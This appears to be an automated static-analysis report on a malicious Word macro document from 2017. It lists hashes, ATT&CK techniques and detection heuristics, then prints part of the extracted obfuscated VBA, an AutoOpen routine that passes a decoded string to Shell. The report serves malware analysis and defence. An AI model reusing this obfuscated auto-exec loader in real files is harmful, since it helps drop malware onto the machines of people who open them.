Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 063281d5685f49a2…

MALICIOUS

Office (OLE)

156.5 KB Created: 2017-11-15 06:29:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: ff6c3928018d9c1438a8dc2d2f539a7b SHA-1: 653f57014b9ca753b5fa3d300f5cf731b8e3b992 SHA-256: 063281d5685f49a27a6f6f550bda19c8264bd26d1e1d02bbeec031c1214a150b
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing an obfuscated VBA macro. The AutoOpen macro executes a Shell() command, indicating an attempt to download and run a second-stage payload. The presence of obfuscation and the use of Shell() are strong indicators of malicious intent, commonly seen in macro-based malware droppers.

Heuristics 9

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 177093 bytes
SHA-256: 05ec2026078e00c34fc3404b85e0a4a9e63f168ec7704ea31d316cb70bf76f07
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 80 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "HjlPGRjcY"
Sub AutoOpen()
rVSVdFuqt = "FPCjXrdUu" + "iqKShzGas" + "JPOtckbfs" + "vUHZYlwQV"
Shell$ fpXCmVmzF, 0
mofqnlMjm = "BZoUPDMka" + "fMnSHswhz" + "mFSZVQcTl" + "NSbchszaG"
End Sub
Function fpXCmVmzF()
amVNzY = "jE1z9jfzB4rbqhKozpzlUPvUQfZKSlzOXljAsvwRJidqvdHCiANJJEGkQzEQDbj5nT"
tlhjLf = Mid(amVNzY, 17, 47)
OJzhwvtR = Array(74, 68, 97, 35)
rLTCj = Array(52, 71, 17, 31)
kzLRFU = Array(96, 74, 98, 81)
GMiWa = "R4kopiEYVYcSouBGVOohZwKjKWWBWcXuZYvHsobwIsjMNjTJfAvVCGQAVukCHDBtBisQztOjnqYhSzVbDNVVjBrTbFzsafQpHh1I0LSiR4rhsub"
XMkspLAEwi = Mid(GMiWa, 6, 83)
LVKOQ = Array(12, 99, 95, 88)
PcftN = Array(62, 51, 71, 13)
BNbDjXp = Array(72, 85, 58, 50)
tjiOIU = "jR1L7lSqXtpzKwRDOjOwjzpKdiXPICOftOtTivWzTOOzGNGbBJtJHiprKwiaCKhUiKEvDwVTMPcUksDQbvOzIEXjuwf"
GhCOcjqhD = Mid(tjiOIU, 8, 80)
kDWKjdOHI = Array(83, 34, 98, 24)
hinFCzTdzX = Array(16, 70, 26, 85)
jIqwCVl = Array(54, 10, 28, 21)
RusZfEvK = "BjvhPtzmQmCEzjlNrLpRVTpGjjrbJPRuFcjhzQCYTQ1jKuvhbz4AKU3pojY"
TTtHPjfq = Mid(RusZfEvK, 3, 40)
IYYLBmaX = Array(13, 23, 88, 88)
Hwtmiwno = Array(80, 52, 88, 41)
kaspB = Array(37, 82, 81, 52)
FOjiLiblKMn = "aT2OwMlZjTdfMIQukbTUCcmOsNYbqKzYWZpilmNZTKPQnuwJMijXrEPQthWioJjWUFJnTiIwOtArMVbzROOIabjRKZoEQfkJbtvhlJqiZlJwDYDXFZRavavsYrdttEhiIrPTZtLHYkjoSiOlVRwrOKOBzDIujwkVDapLIkzMNJCKrGZqdrYcFqUwdNVWkRbbKEFXqAAbUzdYvl18LQEEw44jdjk"
MEtFSnUZJ = Mid(FOjiLiblKMn, 4, 189)
MjCmM = Array(70, 53, 90, 81)
Izzhaj = Array(86, 89, 33, 12)
fjsTRotHK = Array(31, 61, 77, 99)
VZUClP = "OizAKjwwGknsohOcdLXfQTSUMLiCtcGWTXYNKAmjKLifMXibSVTvCcWIMinzztDiiQYQJASdZnVFkmIpdHjYJLUrBPBfNmlQIEAvwRRSDpVOHRXZVzVqKfUTmtfwIzitjV"
BzdrXUOlzVw = Mid(VZUClP, 2, 119)
jcjNuAaQwzc = Array(73, 22, 65, 73)
SUdYnjJ = Array(74, 79, 31, 54)
XBBFChttOZP = Array(14, 28, 98, 13)
LNGhCWhs = "oG3GBrTIQrwlGVGwfkXLtwmClabSCjjFrBrNGBtCsDUNpJIwjikzSGoL"
mjskbH = Mid(LNGhCWhs, 6, 44)
iYzzk = Array(48, 59, 89, 78)
HrCYbwYDGDK = Array(42, 97, 19, 49)
BLwdwf = Array(26, 18, 46, 12)
iEVjUkF = "hnqwbdjkTtGa4pNQzNlssCdlTmdFHDKrdSQpXIPNGriuObbwiaLdVhwbOnJSNPqZDisSAmDrzXmBTiWsLhWhsjVwUpakzwzqAJqkiIvwWTfzuwHjRRHfsJjXIwzLLTsAYvAKrlKCmaKYAYBXiuThpTwrcTclLkkDbiZwwzofHFtRwIWkuadQAAG6qLSYIsnbb7"
wSlnIjHlQ = Mid(iEVjUkF, 17, 165)
wNuQZNCkQ = Array(69, 78, 98, 38)
qaKotAbbLB = Array(32, 76, 79, 75)
ppiGJ = Array(25, 57, 53, 41)
RbJvEWTWV = "RrmqTDqtLSNZDrfbmlFZmXWfSXqFTiwjuriOhBJmEkvkRaJSdcUzLYRsjvMlSuodYjUQSchflEMIksbnPF"
iBlsrIjMZI = Mid(RbJvEWTWV, 5, 54)
DJHPb = Array(57, 58, 34, 89)
zTvlliR = Array(48, 88, 85, 87)
jwkVrKkC = Array(87, 33, 37, 60)
BhfAhtG = "UQPS5kilZLNYvZvXKZLpStEdUmTNOsDliYwrzwvjLnjtushpDvjGbASGwGPfzRWjIcpXaEaNdfdfKKibEiJTLwKiGrsqhQhtQCkSDKOzUScwXnwnYnaUICVLSHQjLjjNzkOHZQYuQKwsUNKTvESupMlNhZzvtfnlmOwnYpOHOfDwEcqEwznHRmYlwBaAQcBlWNGGPXuGqLfzFlV7pwSQtwV"
CsYSnOOz = Mid(BhfAhtG, 7, 197)
tkqjb = Array(58, 51, 27, 52)
fvZFihwC = Array(10, 66, 12, 92)
RLMkVfuON = Array(32, 85, 94, 94)
bYwWcEDOH = "m8RzCjJstIulzEYqFqmLfrCJllOiMhiiXYIzuhjNzqYIFIRcOzSqfmqkADkjRTjqiVv"
tEnUFFjIZlb = Mid(bYwWcEDOH, 10, 53)
amaqiSU = Array(72, 25, 88, 15)
wDwRlTwaf = Array(39, 15, 18, 96)
XusKPijYA = Array(30, 92, 77, 48)
KnAROZdNqOc = "j8CUAAG2zhjzai3J1k9E2bXTjKajilRLqwiMLYfcwtaWDZPijlkkNiOrIGbWooLEGJRbIiwwGsZithoZuwAwBjzMhrDFzJoIiWQuIoVEpoiVEjwbRCbsnODZLEuRbqzwDRAWRuRGavHMCbHBtcouhwUTTqiDtEcwphSnfbJWlVRrHqXkztXzCEPHwjDaMNMWTIXUJUVSSRJLidLcTwGAjdvkSKtOUio"
PKCWb = Mid(KnAROZdNqOc, 26, 193)
oDjMRJDqo = Array(82, 81, 64, 85)
IBPVckhb = Array(18, 78, 96, 58)
LAwOsTDHW = Array(31, 96, 46, 83)
hAzsQ = "3TtRk4phuOnkHRrIGICIlHZjcYPaijlQQZuhodKihmcUcZVFjTUARozjHEiFZhwLdWTiWKUdzYawiFHDDJtKPkzcZNZjuEFAoRqFFnjWzqDsNACCzfCPnnvtXrIIklisTZJMOBzPaWLZhGOYLXlPCpNBVziOfamNHKZorqnwhmpQcWMQcjzNzTqdMIqRTjbYwQi6D54c"
cXAYkFpzcNI = Mid(hAzsQ, 9, 182)
iEBwKMEBpF = Array(87, 4
... (truncated)

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